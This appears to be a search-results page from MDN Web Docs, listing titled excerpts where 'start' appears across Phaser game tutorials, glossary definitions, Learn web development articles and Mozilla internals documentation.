of instantly printing out the alert when you lose a life, we first subtract one life from the current number and check if it's a non-zero value. if yes, then the player still has some lives left and can continue to play — they will see the life lost message, the ball and paddle positions will be reset on screen and on the next input (click or touch) the message will be hidden and the ball will
start to move again. when the number of available lives reaches zero, the game is over and the game over alert message will be shown. events you have probably noticed the add() and addonce() method calls in the above two code blocks and wondered how they differ. the difference is that the add() method binds the given function and causes it to be executed every time the event occurs, while addonce() ...
Load the assets and print them on screen - Game development
ep out of 16 in the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson03.html. our game will feature a ball rolling around the screen, bouncing off a paddle, and destroying bricks to earn points — familiar, huh? in this article we'll look at how to add sprites into our gameworld. having a ball let's
start by creating a javascript variable to represent our ball. add the following line between the game initialization code (our var game... block) and the preload() function: var ball; note: for the sake of this tutorial, we will use global variables. the purpose of the tutorial is to teach phaser-specific approaches to game development rather than dwelling on subjective best approaches. loading ...
Randomizing gameplay - Game development
point you would have learnt the basics of phaser and the logic behind simple 2d games. exercises to follow you can do a lot more in the game — add whatever you feel would be best to make it more fun and interesting. it's a basic intro scratching the surface of the countless helpful methods that phaser provides. below are some suggestions as to how you could expand our little game, to get you
started: add a second ball or paddle. change the color of the background on every hit. change the images and use your own. grant extra bonus points if bricks are destroyed rapidly, several-in-a-row (or other bonuses of your choosing.) create levels with different brick layouts. be sure to check the ever growing list of examples and the official documentation, and visit the html5 gamedevs forum...
Win the game - Game development
if (bricks.children[i].alive == true) { count_alive++; } } if (count_alive == 0) { alert('you won the game, congratulations!'); location.reload(); } } we loop through the bricks in the group using bricks.children, checking for the aliveness of each with each brick's .alive() method. if there are no more bricks left alive, then we show a winning message, re
starting the game once the alert is dismissed. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps both losing and winning are implemented, so the core gameplay of our game is finished. now let's add something extra — we'll give the player three lives instead of one. « previousnext » ...
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
the curve is defined by a set of control points with a minimum of two. web related graphics and animations use cubic béziers, which are curves with four control points p0, p1, p2, and p3. to draw the curve, two imaginary lines are drawn, one from p0 to p1 and the other from p1 to p2. the end points of the lines are then steadily moved to the next point. a third imaginary line is drawn with its
starting point moving steadily on the first helper line and the end point on the second helper line. on this imaginary line a point is drawn from its
starting point moving steadily to its end point. the curve this point describes is the bézier curve. hereʼs an animated illustration demonstrating the creation of the curve: learn more genreal knowledge bézier curve on wikipedia learn about it...
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
s through all of the fields in the form, checking each one in turn. looking back at the code in the if and else sections, the lines promptuser and submitform could also be calls to other functions in the script. as you can see, control structures can dictate complex flows of processing even with only a few lines of code. control flow means that when you read a script, you must not only read from
start to finish but also look at program structure and how it affects order of execution. learn more general knowledge control flow on wikipedia technical reference javascript reference - control flow on mdn learn about it statements (control flow) on mdn ...
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
in order of least-to-most-significant (where the least significant byte takes the first or lowest address), comparable to a common european way of writing dates (e.g., 31 december 2050). naturally, big-endian is the opposite order, comparable to an iso date (2050-12-31). big-endian is also often called "network byte order", because internet standards usually require data to be stored big-endian,
starting at the standard unix socket level and going all the way up to standardized web binary data structures. also, older mac computers using 68000-series and powerpc microprocessors formerly used big-endian. examples with the number 0x12345678 (i.e. 305 419 896 in decimal): little-endian: 0x78 0x56 0x34 0x12 big-endian: 0x12 0x34 0x56 0x78 mixed-endian (historic and very rare): 0x34 0x12 0x78 ...
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
exists in the global scope. in javascript, there's always a global object defined. in a web browser, when scripts create global variables, they're created as members of the global object. (in node.js this is not the case.) the global object's interface depends on the execution context in which the script is running. for example: in a web browser, any code which the script doesn't specifically
start up as a background task has a window as its global object. this is the vast majority of javascript code on the web. code running in a worker has a workerglobalscope object as its global object. scripts running under node.js have an object called global as their global object. window object in the browser the window object is the global object in the browser. any global variables or functions...
Identifier - MDN Web Docs Glossary: Definitions of Web-related terms
an identifier is a sequence of characters in the code that identifies a variable, function, or property. in javascript, identifiers are case-sensitive and can contain unicode letters, $, _, and digits (0-9), but may not
start with a digit. an identifier differs from a string in that a string is data, while an identifier is part of the code. in javascript, there is no way to convert identifiers to strings, but sometimes it is possible to parse strings into identifiers. learn more general knowledge identifier on wikipedia ...
Mobile First - MDN Web Docs Glossary: Definitions of Web-related terms
mobile first, a form of progressive enhancement, is a web-development and web-design approach that focuses on prioritizing design and development for mobile screen sizes over design and development for desktop screen sizes. the rationale behind the mobile-first approach is to provide users with good user experiences at all screen sizes—by
starting with creating a user experience that works well on small screens, and then building on top of that to further enrich the user experience as the screen size increases. the mobile-first approach contrasts with the older approach of designing for desktop screen sizes first, and then only later adding some support for small screen sizes. ...
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
;q=0.8,text/*;q=0.8,*/*;q=0.8 value priority text/html 0.8 (but totally specified) text/* 0.8 (partially specified) */* 0.8 (not specified) some syntax, like the one of accept, allow additional specifiers like text/html;level=1. these increase the specificity of the value. their use is extremely rare. browser-specific information firefox
starting with firefox 18, the quality factor values are clamped to 2 decimal places. they used to be clamped to only 1 decimal place in earlier versions (bug 672448). more information http headers using q-values in their syntax: accept, accept-charset, accept-language, accept-encoding, te. ...
Smoke Test - MDN Web Docs Glossary: Definitions of Web-related terms
a smoke test consists of functional or unit tests of critical software functionality. smoke testing comes before further, in-depth testing. smoke testing answers questions like "does the program
start up correctly?" "do the main control buttons function?" "can you save a simple blank new test user account?" if this basic functionality fails, there is no point investing time in more detailed qa work at this stage. learn more general knowledge smoke testing (software) on wikipedia ...
TCP - MDN Web Docs Glossary: Definitions of Web-related terms
is an important network protocol that lets two hosts connect and exchange data streams. tcp guarantees the delivery of data and packets in the same order as they were sent. vint cerf and bob kahn, who were darpa scientists at the time, designed tcp in the 1970s. tcp role is to ensure the packets are reliably delivered, error free. tcp has concurrence control, which means the initial requests
start small, increasing in size to the levels of bandwidth the computers, servers, and network can support. ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is a transport layer host-to-host protocol for connection-oriented communication between two computers on an ip network. tcp uses a three-way handshake (aka tcp-handshake, three message handshake, and/or syn-syn-ack) to set up a tcp/ip connection over an ip based network. the three messages transmitted by tcp to negotiate and
start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively. the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests. the host, generally the browser, sends a tcp synchronize packet to the serve...
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
n that can reuse the physical connections between two computers. tcp encapsulates higher level protocol data such as http and, smtp (email) . tcp handshake the tcp three-way handshake, also called the tcp-handshake, three message handshake, and/or syn-syn-ack, is the method used by tcp to set up a tcp/ip connection over an ip-based network. the three messages transmitted by tcp to negotiate and
start a tcp session are nicknamed syn, syn-ack, ack for synchronize, synchronize-acknowledgement, and acknowledge. the three message mechanism is designed for the two computers that want to pass information back and forth and can negotiate the parameters of the connection before transmitting data such as http browser requests. ...
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
an application context is a top-level browsing context that has a manifest applied to it. if an application context is created as a result of the user agent being asked to navigate to a deep link, the user agent must immediately navigate to the deep link with replacement enabled. otherwise, when the application context is created, the user agent must immediately navigate to the
start url with replacement enabled. please note that the
start url is not necessarily the value of the
start_url member: the user or user agent could have changed it when the application was added to home-screen or otherwise bookmarked. ...
Array - MDN Web Docs Glossary: Definitions of Web-related terms
an array is an ordered collection of data (either primitive or object depending upon the language). arrays are used to store multiple values in a single variable. this is compared to a variable that can store only one value. each item in an array has a number attached to it, called a numeric index, that allows you to access it. in javascript, arrays
start at index zero and can be manipulated with various methods. what an array in javascript looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascript can hold different types of data, as shown above. learn more general knowledge array on wikipedia technical reference javascript array on mdn ...
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
traditionally in browsers the html parser ran on the main thread and was blocked after a </script> tag until the script has been retrieved from the network and executed. some html parser, such as firefox since firefox 4, support speculative parsing off of the main thread. it parses ahead while scripts are being downloaded and executed. the html parser
starts speculative loads for scripts, style sheets and images it finds ahead in the stream and runs the html tree construction algorithm speculatively. the upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scripts, style sheets and images. the downside is that there's more work lost when the speculation fails. this document helps you avoid the kind of things t...
MDN Web Docs Glossary: Definitions of Web-related terms
tatement static method static typing strict mode string stun style origin stylesheet svg svn symbol symmetric-key cryptography synchronous syntax syntax error synthetic monitoring t tag tcp tcp handshake tcp slow
start telnet texel thread three js time to first byte time to interactive tld tofu transmission control protocol (tcp) transport layer security (tls) tree shaking trident truthy ttl turn type type coercion type conversion u ...
About Scriptable Interfaces - Interfaces
most of the information of this document is based on http://www.mozilla.org/scriptable/ and creating xpcom components scriptable interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation. interfaces are written in an interface description language. when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages. ...
Accessible multimedia - Learn web development
create our own custom controls. let's look at how. creating custom audio and video controls html5 video and audio share an api — html media element — which allows you to map custom functionality to buttons and other controls — both of which you define yourself. let's take the video example from above and add custom controls to them. basic setup first, grab a copy of our custom-controls-
start.html, custom-controls.css, rabbit320.mp4, and rabbit320.webm files and save them in a new directory on your hard drive. create a new file called main.js and save it in the same directory. first of all, let's look at the html for the video player, in the html: <section class="player"> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="vid...
Creating fancy letterheaded paper - Learn web development
if you want to make the right impression, writing a letter on nice letterheaded paper can be a really good
start. in this assessment we'll challenge you to create an online template to achieve such a look. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of css box model, and other box-related features such as implementing backgrounds.
starting point to get this assessment
started, you should: make local copies of the html and css — save them as index.html and style.css in a new directory. save local copies of the top, bottom and logo images in the same directory as your code files. alternatively, you could use a site like jsbin or glitch to do your ...
Images, media, and form elements - Learn web development
value of fill, which will fill the box but not maintain the aspect ratio. replaced elements in layout when using various css layout techniques on replaced elements, you may well find that they behave slightly differently to other elements. for example, in a flex or grid layout elements are stretched by default to fill the entire area. images will not stretch, and instead will be aligned to the
start of the grid area or flex container. you can see this happening in the example below where we have a two column, two row grid container, which has four items in it. all of the <div> elements have a background color and stretch to fill the row and column. the image, however, does not stretch. if you are following these lessons in order then you may not have looked at layout yet. just keep in mi...
Type, class, and ID selectors - Learn web development
rst child of another element. to avoid this confusion we can add the universal selector to the :first-child selector, so it is obvious what the selector is doing. it is selecting any element which is the first-child of any descendant element of <article>: article *:first-child { } although both do the same thing, the readability is significantly improved. class selectors the class selector
starts with a full stop (.) character and will select everything in the document with that class applied to it. in the live example below we have created a class called .highlight, and have applied it to several places in my document. all of the elements that have the class applied are highlighted. targeting classes on particular elements you can create a selector that will target specific elements...
CSS selectors - Learn web development
bine other selectors in order to target elements within our documents. the following for example selects paragraphs that are direct children of <article> elements using the child combinator (>): article > p { } next steps you can take a look at the reference table of selectors below for direct links to the various types of selectors in this learn section or on mdn in general, or continue on to
start your journey by finding out about type, class, and id selectors. previous overview: building blocks next reference table of selectors the below table gives you an overview of the selectors you have available to use, along with links to the pages in this guide which will show you how to use each type of selector. i have also included a link to the mdn page for each selector where you ca...
Sizing items in CSS - Learn web development
n empty <div> however, has no size of its own. if you add a <div> to your html with no content, then give it a border as we did with the image, you will see a line on the page. this is the collapsed border on the element — there is no content to hold it open. in our example below, that border stretches to the width of the container, because it is a block level element, a behavior that should be
starting to become familiar to you. it has no height (or size in the block dimension) because there is no content. in the example above, try adding some text inside the empty element. the border now contains that text because the height of the element is defined by the content. therefore the size of this <div> in the block dimension comes from the size of the content. again, this is the intrinsic si...
Multiple-column layout - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create multiple-column layout on webpages, such as you might find in a newspaper. a basic example we will now explore how to use multiple-column layout, often referred to as multicol. you can follow along by downloading the multicol
starting point file and adding the css into the appropriate places. at the bottom of the section you can see a live example of what the final code should look like. our
starting point contains some very simple html; a wrapper with a class of container inside which is a heading and some paragraphs. the <div> with a class of container will become our multicol container. we switch on multicol by using o...
Supporting older browsers - Learn web development
ern browsers, but will still be usable at a basic level for users of older browsers. a basic level of support comes from structuring your content well so that the normal flow of your page makes sense. a user with a very limited feature phone might not get much of your css, but the content will flow in a way that makes reading easy. therefore, a well-structured html document should always be your
starting point. if you remove your stylesheet, does your content make sense? one option is to leave this plain view of the site as the fallback for people using very old or limited browsers. if you have a tiny number of people coming to the site in these browsers it may not make commercial sense to pour time into trying to give them a similar experience to people on modern browsers. it would be better...
What is CSS? - Learn web development
6.0legend full support full support no support no supportsee implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name. what's next now that you have some understanding of what css is, let's move on to getting
started with css, where you can
start to write some css yourself. overview: first steps next in this module what is css? getting
started with css how css is structured how css works using your new knowledge ...
Typesetting a community school homepage - Learn web development
all the text styling techniques we've covered throughout this module by getting you to style the text for a community school's homepage. you might just have some fun along the way. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of css text styling techniques.
starting point to get this assessment
started, you should: go and grab the html and css files for the exercise, and the provided external link icon. make a copy of them on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html and fill in the css into one of these online editors, and use this url to point the background image...
Styling text - Learn web development
text styling fundamentals including setting font, boldness, italics, line and letter spacing, drop shadows, and other text features. we round off the module by looking at applying custom fonts to your page, and styling lists and links. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should already have basic familiarity with html, as discussed in the introduction to html module, and be comfortable with css fundamentals, as discussed in introduction to css. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in a...
How do you make sure your website works properly? - Learn web development
l to the runtime and tells it to stop. if you don't stop the runtime, ping will ping the server indefinitely. a simple checklist check for 404s make sure all webpages are behaving as you expect check your website in several browsers to make sure it renders consistently next steps congratulations, your website is up and running for anyone to visit. that's a huge achievement. now, you can
start digging deeper into various subjects. since people can come to your website from all over the world, you should consider making it accessible to everybody. is the design of your website a bit too rough? it's time to learn more about css. ...
How do you upload your files to a web server? - Learn web development
using the command line. acrosync is one such tool, and it is available for windows and macos. again, you would have to get the connection credentials from your hosting provider, but this way you'd have a gui to enter them in. github github allows you to publish websites via github pages (gh-pages). we've covered the basics of using this in the publishing your website article from our getting
started with the web guide, so we aren't going to repeat it all here. however, it is worth knowing that you can also host a website on github, but use a custom domain with it. see using a custom domain with github pages for a detailed guide. other methods to upload files the ftp protocol is one well-known method for publishing a website, but not the only one. here are a few other possibilities: w...
What are hyperlinks? - Learn web development
ite usable. find a good balance between having too many links and too few. we'll talk about designing website navigation in another article, but as a rule, whenever you add a new webpage, make sure at least one of your other pages links to that new page. on the other hand, if your site has more than about ten pages, it's counter-productive to link to every page from every other page. when you're
starting out, you don't have to worry about external and incoming links as much, but they are very important if you want search engines to find your site (see below for more details). anchors most links tie two webpages together. anchors tie two sections of one document together. when you follow a link pointing to an anchor, your browser jumps to another part of the current document instead of loadin...
What is a Domain Name? - Learn web development
zilla.org name, it goes on to ask a dns server, whose job is precisely to tell your computer which ip address matches each registered domain name. now that the computer knows the requested ip address, your browser can negotiate contents with the web server. next steps okay, we talked a lot about processes and architecture. time to move on. if you want to get hands-on, it's a good time to
start digging into design and explore the anatomy of a web page. it's also worth noting that some aspects of building a website cost money. please refer to how much it costs to build a web site. or read more about domain names on wikipedia. you can also find here a fun and colourful explanation of how dns woks. ...
What software do I need to build a website? - Learn web development
an buy space on a server from various providers (see how much does it cost to do something on the web?). once you settle on which provider to use, the provider will email you the access information, usually in the form of an sftp url, username, password, and other information needed to connect to their server. bear in mind that (s)ftp is now somewhat old-fashioned, and other uploading systems are
starting to become popular, such as rsync and git/github. note: ftp is inherently insecure. you should make sure your hosting provider allows use of a secure connection, e.g. sftp or rsync over ssh. uploading files to a web server is a very important step while creating a website, so we cover it in detail in a separate article. for now, here's a short list of free basic (s)ftp clients: op...
Common questions - Learn web development
site performance? this set of articles shows you how to use the developer tools in firefox to debug and improve performance of your website, using the tools to check memory usage, the javascript call tree, the number of dom nodes being rendered, and more. design and accessibility this section lists questions related to aesthetics, page structure, accessibility techniques, etc. how do i
start to design my website? this article covers the all-important first step of every project: define what you want to accomplish with it. what do common web layouts contain? when designing pages for your website, it's good to have an idea of the most common layouts. this article runs through some typical web layouts, looking at the parts that make up each one. what is accessibility? thi...
Advanced form styling - Learn web development
ke cherry </label> </p> <p> <label> <input type="checkbox" name="fruit-2" value="banana" disabled> i can't like banana </label> </p> <p> <label> <input type="checkbox" name="fruit-3" value="strawberry"> i like strawberry </label> </p> </fieldset> </form> now, let's style these with a custom checkbox design. ...
The HTML5 input types - Learn web development
a widget to display and pick a month with a year. <input type="month" name="month" id="month"> time <input type="time"> creates a widget to display and pick a time value. while time may display in 12-hour format, the value returned is in 24-hour format. <input type="time" name="time" id="time"> week <input type="week"> creates a widget to display and pick a week number and its year. weeks
start on monday and run to sunday. additionally, the first week 1 of each year contains the first thursday of that year—which may not include the first day of the year, or may include the last few days of the previous year. <input type="week" name="week" id="week"> constraining date/time values all date and time controls can be constrained using the min and max attributes, with further constrainin...
Use JavaScript within a webpage - Learn web development
or keeping javascript accessible. about javascript javascript is a programming language mostly used client-side to make webpages interactive. you can create amazing webpages without javascript, but javascript opens up a whole new level of possibilities. in this article we're going over the html code you need to make javascript take effect. if you want to learn javascript itself, you can
start with our javascript basics article. if you already know something about javascript or if you have a background with other programming languages, we suggest you jump directly into our javascript guide. how to trigger javascript from html within a browser, javascript doesn't do anything by itself. you run javascript from inside your html webpages. to call javascript code from within html, you ne...
Using data attributes - Learn web development
extensibility in mind for data that should be associated with a particular element but need not have any defined meaning. data-* attributes allow us to store extra information on standard, semantic html elements without other hacks such as non-standard attributes, extra properties on dom, or node.setuserdata(). html syntax the syntax is simple. any attribute on any element whose attribute name
starts with data- is a data attribute. say you have an article and you want to store some extra information that doesn’t have any visual representation. just use data attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ... </article> javascript access reading the values of these attributes out in javascript is also very simple. yo...
Mozilla splash page - Learn web development
this module's articles, getting you to add some images and video to a funky splash page all about mozilla! prerequisites: before attempting this assessment you should have already worked through the rest of the multimedia and embedding module. objective: to test knowledge around embedding images and video in web pages, frames, and html responsive image techniques.
starting point to
start off this assessment, you need to grab the html and all the images available in the mdn-splash-page-
start directory on github. save the contents of index.html in a file called index.html on your local drive, in a new directory. then save pattern.png in the same directory (right click on the image to get an option to save it.) access the different images in the originals directo...
Asynchronous JavaScript - Learn web development
in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites asynchronous javascript is a fairly advanced topic, and you are advised to work through javascript first steps and javascript building blocks modules before attempting this. if you are not familiar with the concept of asynchronous programming, you should definitely
start with the general asynchronous programming concepts article in this module. if you are, then you can probably skip to the introducing asynchronous j...
Image gallery - Learn web development
ps, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript loops, functions, conditionals, and events.
starting point to get this assessment
started, you should go and grab the zip file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into one of these online editors. if the online editor you are using doesn't have separate javascr...
Function return values - Learn web development
ips: look at another example of writing error handling into functions. it is generally a good idea to check that any necessary parameters are validated, and that any optional parameters have some kind of default value provided. this way, your program will be less likely to throw errors. think about the idea of creating a function library. as you go further into your programming career, you'll
start doing the same kinds of things over and over again. it is a good idea to create your own library of utility functions to do these sorts of things. you can copy them over to new code, or even just apply it to html pages wherever you need it. test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify th...
JavaScript building blocks - Learn web development
turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events. you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our previous module, javascript first steps. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such a...
Silly story generator - Learn web development
u've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. have fun! prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript fundamentals, such as variables, numbers, operators, strings, and arrays.
starting point to get this assessment
started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with. this also has the css to style the example contained within it. go to the page containing the raw text and keep this open in a separate browser tab somewhere. you'll ne...
Object prototypes - Learn web development
he function() constructor reference if you don't believe us. you can check out existing prototype properties for yourself — go back to our previous example and try entering the following into the javascript console: person.prototype the output won't show you very much because we haven't defined anything on our custom constructor's prototype! by default, a constructor's prototype always
starts empty. now try the following: object.prototype you'll see a large number of methods defined on object's prototype property, which are then available on objects that inherit from object, as shown earlier. you'll see other examples of prototype chain inheritance all over javascript — try looking for the methods and properties defined on the prototype of the string, date, number, and array...
Test your skills: JSON - Learn web development
the case of the downloadable version). json 1 the one and only task in this article concerns accessing json data and using it in your page. json data about some mother cats and their kittens is available in sample.json. the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise chain (which
starts by fetching the json data) is fulfilled. your task is to fill in the missing parts of the displaycatinfo() function to store: the names of the three mother cats, separated by commas, in the motherinfo variable. the total number of kittens, and how many are male and female, in the kitteninfo variable. the values of these variables are then printed to the screen inside paragraphs. some hint...
Measuring performance - Learn web development
metrics we will of course talk about the metrics that you'll use to measure whether your site's performance is improving. general performance reporting tools tools like pagespeed insights can measure a website’s performance. you can enter a url and get a performance report in seconds. the report contains scores about how your website is performing, both for mobile and desktop. this is a good
start for getting an idea about what you are already doing well and what could be improved. at the time of writing, mdn's performance report summary looks similar to the following: a performance report contains information about things like how long a user has to wait before anything is displayed on the page, how many bytes need to be downloaded to display a page, and much more. it also lets you kn...
Perceived performance - Learn web development
t you may not be able to make faster, but you can make it feel faster even if the metrics discussed in the othser sections can't be improved. there is no unicorn metric that can measure what the user feels, but metrics are useful in guaging improvements (and regressions). relevant measurements include first meaningful paint (fmp), largest contentful paint (lcp), time to interactive (tti), render
start, dom interactive, and speed index. first paint is reported by the browser and provides the time, in ms, of when the page
starts changing; but this change can be a simple background color update or something even less noticable. it doesn’t indicate completeness and may report a time when nothing visible is painted. first contentful paint (fcp) reports the time when the browser first rendered an...
Web performance resources - Learn web development
knowing this will help you understand how to improve the performance of the site. using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum. only use as much javascript as needed for the current page. ...
Introduction to the server side - Learn web development
ample, a site to know that a user has previously logged in and display links to their emails or order history, or perhaps save the state of a simple game so that the user can go to a site again and carry on where they left it. note: visit a newspaper site that has a subscription model and open a bunch of tabs (e.g. the age). continue to visit the site over a few hours/days. eventually, you will
start to be redirected to pages explaining how to subscribe, and you will be unable to access articles. this information is an example of session information stored in cookies. notifications and communication servers can send general or user-specific notifications through the website itself or via email, sms, instant messaging, video conversations, or other communications services. a few examples i...
Server-side website programming first steps - Learn web development
-side programming — "what is it?", "how does it differ from client-side programming?", and "why is it so useful?". we then provide an overview of some of the most popular server-side web frameworks, along with guidance on how to select the most suitable framework for creating your first site. finally, we provide a high-level introductory article about web server security. prerequisites before
starting this module, you don't need to have any knowledge of server-side website programming, or indeed any other type of programming. however, you do need to understand how the web works. we recommend that you first read the following topics: what is a web server? what software do i need to build a website? how do you upload files to a web server? with that basic understanding, you'll be rea...
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line. we finish up by providing a complete toolchain example showing you how to get productive. get
started now, with our "client-side tooling overview" prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started guides 1. client-side tooling overview in thi...
Chrome Worker Modules
the preferred way to define and load modules for chrome workers is to use the chrome worker module loader. this module loader should not surprise developers familiar with commonjs, as it implements a minimal commonjs require(). loading modules loading a module is simple.
start by importing the module loader. you only need to do it once for each worker, from within the chrome worker itself: importscripts("resource://gre/modules/workers/require.js"); note: although you only need to do this once for each worker, it doesn't hurt if you do it more than once. this defines a global value require(), that you may now use as follows: // import the module // (here, we import the core of os.file) let core = require("resource://gre/modules/osfile/osfile_shared_allthreads.jsm"); // we may now u...
omni.ja (formerly omni.jar)
firefox and thunderbird achieve performance improvements by moving many of their internal parts from being standalone files or sets of jar files into just one jar file called omni.ja; this reduces the amount of i/o needed to load the application. this article covers the contents of the archive and techniques for inspecting those contents. note:
starting with firefox 10 and thunderbird 10, the file extension .ja is used because windows system restore does not back up files with the .jar extension, but it does back up .ja files. this change was needed to prevent firefox from becoming corrupted. inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings from some virus protection software. several unzip tools and archives (except for the latest v...
Mozilla accessibility architecture
nt event_create (atk) event_reorder (msaa) domsubtreemodified w3c dom mutation event event_reorder domnoderemoved w3c dom mutation event event_destroy (atk) event_reorder (msaa) checkboxstatechange, radiostatechange mozilla dom event_state_change popupshowing mozilla dom event_menu
start popuphiding mozilla dom event_menuend nsdocaccessible::scrollpositiondidchange(), then nsdocaccessible::scrolltimercallback() nsiscrollpositonlistener and nsitimer callbacks event_scrollingend (quick timer is used to determine when scrolling pauses or stops, to avoid extra events being fired) nsdocaccessible::onstatechange(),...
Accessibility information for UI designers and developers
errors. or provide an opportunity to review the input before submitting it. use default controls controls that are built into browsers come with a lot of accessibility for free. for example, the select element displays an ideal mobile interface on mobile operating systems like android and ios. on desktop with a keyboard, it lets people type a character, say ‘k’, to jump directly to options
starting with ‘k’. it is recommended to use native controls, visibly or under the hood. links vs buttons to keep your interface in line with user expectations, use links for interactions that go somewhere (on the current page or another page) and buttons for interactions that do something (like submit a form or open an overlay). links can be styled as buttons and vice versa, but designers are ad...
Information for Assistive Technology Vendors
please read this page if you're interested in an alternative accessible browser. keyboard documentation this lists mozilla's keyboard docs in a single long document. gecko info for windows accessibility vendors mozilla supports msaa (microsoft active accessibility) in html and in our user interface (based on xul technology). ...
Mozilla’s UAAG evaluation report
r style sheet the prefs are at preferences, appearances, fonts 4.3 configure text colors. (p1) vg can be changed through preferences or by editing the prefs.js file the prefs are at preferences, appearances, colors to use any color offered in windows, the prefs.js file must be edited by hand 4.4 slow multimedia. (p1) ni cannot slow animations 4.5
start, stop, pause, and navigate multimedia. (p1) na 4.6 position captions. (p1) na 4.7 slow other multimedia. (p2) na this is similar to checkpoint 4.4, except that includes animation through style cannot control animation rate of animated images 4.8 control other multimedia. (p2) na 4.9 global volume control. (p1) na ...
Index
on, end-of-life, publication there may be occasions where you want to retire one of your extensions. this article suggests the steps you might want to follow, as well as offering some pointers to a suitable timeline. 682 submitting an add-on add-ons, beginner, tutorial, webextensions this article walks through the process of publishing an add-on. if you just want to get
started, head to the submit a new add-on page on amo. 683 source code submission add-ons, extensions, review policy, distribution to complete the review process at addons.mozilla.org (amo), reviewers must be able to read the code in your extension. some build processes render extension code difficult to read. these processes include minifying your code, as well as the use of module...
Lightweight themes
nitors can run to 3440px wide, to look good on these monitors, ensure the left of the image fades to a solid color. online image editor resources pixlr — pixlr offers professional and easy-to-use tools for creating and editing images within a browser. photoshop — tweak, rotate and touch up photos with photoshop® express, a free online photo editor. submitting your theme image to get
started submitting your images, go to the theme submission page: name your theme — pick a unique name for your theme. duplicate names are not allowed, so you may need to try a few times to find a unique name. pick a category and tags — select a category and enter some tags that best describe your theme. keep in mind that a reviewer may reject your theme if it is obvious that your category and/o...
Benchmarking
ds have a diagnostic tool that causes crashes to happen sooner and produce much more actionable information, but also slow down regular usage substantially. in particular, "gc poisoning" is used in all debug builds, and in optimized nightly builds (but not opt developer edition or beta builds). the poisoning can be disabled by setting the environment variable jsgc_disable_poisoning=1 before
starting the browser. async stacks async stacks no longer impact performance since firefox 78, as bug 1601179 limits async stack capturing to when devtools is opened. another option that is on by default in non-release builds is the preference javascript.options.asyncstack, which provides better debugging information to developers. set it to false to match a release build. (this may be disabled fo...
Testopia
n. despite bugzilla 5.0 has already been released a few months ago, we don't plan to release a fix for testopia immediately, because it's currently under heavy work to make testopia a fully self-contained extension, which means that all tr_*.cgi scripts which are currently in the bugzilla/ root directory are being moved into extensions/testopia/lib/. this is not an trivial task, it takes time (it
started in august 2014), and we decided that it was not a good idea to release half-baked code which still needs testing to make sure we didn't regress anything. the good news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind having a work-in-progress extension on your machine, you can decide to pull the code fr...
Continuous Integration
pically the median of all the replicates excluding the first 1-5), which are stored in treeherder's database, and are accessible via the perfherder interface. other performance systems autophone (android) autophone is a test harness which runs a set of performance tests on a variety of real android phones. it reports to a custom dashboard known as phonedash. tests currently run are primarily
